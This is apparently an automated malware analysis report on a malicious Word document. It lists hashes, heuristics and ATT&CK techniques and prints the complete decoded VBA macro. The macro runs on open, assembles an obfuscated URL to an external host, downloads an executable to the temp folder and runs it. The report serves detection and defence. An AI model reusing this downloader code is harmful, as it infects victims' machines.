Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6978455b31472dad…

MALICIOUS

Office (OLE)

57.0 KB Created: 2015-08-06 15:07:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: 9e917d08a75fb31c48b54cff06b74de0 SHA-1: 19e5861ef8cb7b05eaec1f24ec26a9e5d48a6034 SHA-256: 6978455b31472dad9182c6c4a1a498e5372f4e5ef50b49bf2140bf7fe7e47292
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros that use the URLDownloadToFile API to download a file from 'www.ebatechcorp.com/wp-includes/ID3/pym.knd' and save it to the user's temporary directory as 'pym.knd'. The document body explicitly instructs the user to enable content, indicating a social engineering lure to bypass security measures. The presence of the Document_Open macro and the call to URLDownloadToFile strongly suggest a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6754310-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6754310-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell SCLFDCHZ, vbNormalFocus
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FPMZJJGO As Long, ByVal DOGWCVHH As String, _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        SCLFDCHZ = Environ("Temp") & "\" & "pym.knd"
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3971 bytes
SHA-256: 5e956789023c82dbd8af7d2bf672a8b48a41c54e0f47afc3263c36b4810815a8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

#If Win64 Then

Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FPMZJJGO As Long, ByVal DOGWCVHH As String, _
    ByVal SYMOCEBQ As String, _
    ByVal EKSRQYTP As Long, ByVal LOAOPHQU As Long)

#Else

Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FPMZJJGO As Long, ByVal DOGWCVHH As String, _
    ByVal SYMOCEBQ As String, _
    ByVal EKSRQYTP As Long, ByVal LOAOPHQU As Long)

#End If

Sub AutoNew()
    Dim SettingsFile As String
    Dim Order As String
    Dim rRecNo As Range

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
    
    If Order = "" Then
    Order = 1
    End If

End Sub

Sub Document_Open()

SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    Dim sdfsd As String

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    sdfsd = 15

    KAYQLAPV
End Sub

Sub KAYQLAPV()

SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    Dim Order As String
    Dim rRecNo As Range

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    If Order = "" Then
    Order = 1
    End If

    DPEQPNHE = "www.ebatechcorp.com/wp-includes/ID3/pym.knd"
    SCLFDCHZ = Environ("Temp") & "\" & "pym.knd"


    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    If Order = "" Then
    Order = 1
    End If
    
    DPEQPNHE0 = "h"
    DPEQPNHE0 = DPEQPNHE0 + "t"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    DPEQPNHE0 = DPEQPNHE0 + "t"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    DPEQPNHE0 = DPEQPNHE0 + "p"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    DPEQPNHE0 = DPEQPNHE0 + ":"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    DPEQPNHE0 = DPEQPNHE0 + "/"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    DPEQPNHE0 = DPEQPNHE0 + "/"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    DPEQPNHE0 = DPEQPNHE0 + DPEQPNHE

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    DPEQPNHE0 = DPEQPNHE0 + "."
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    DPEQPNHE0 = DPEQPNHE0 + "e"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    DPEQPNHE0 = DPEQPNHE0 + "x"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    DPEQPNHE0 = DPEQPNHE0 + "e"

    AutoNew

    SCLFDCHZ = SCLFDCHZ + "."
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    SCLFDCHZ = SCLFDCHZ + "e"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    SCLFDCHZ = SCLFDCHZ + "x"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    SCLFDCHZ = SCLFDCHZ + "e"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    AutoNew

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    URLDownloadToFileA 0, DPEQPNHE0, _
    SCLFDCHZ, 0, 0

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    AutoNew

    If Len(Dir(SCLFDCHZ)) > 0 Then
    AutoNew
        Shell SCLFDCHZ, vbNormalFocus
        SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    End If

End Sub


Attribute VB_Name = "NewMacros"
Sub pnyknd()
'
' pnyknd Macro
'
'

End Sub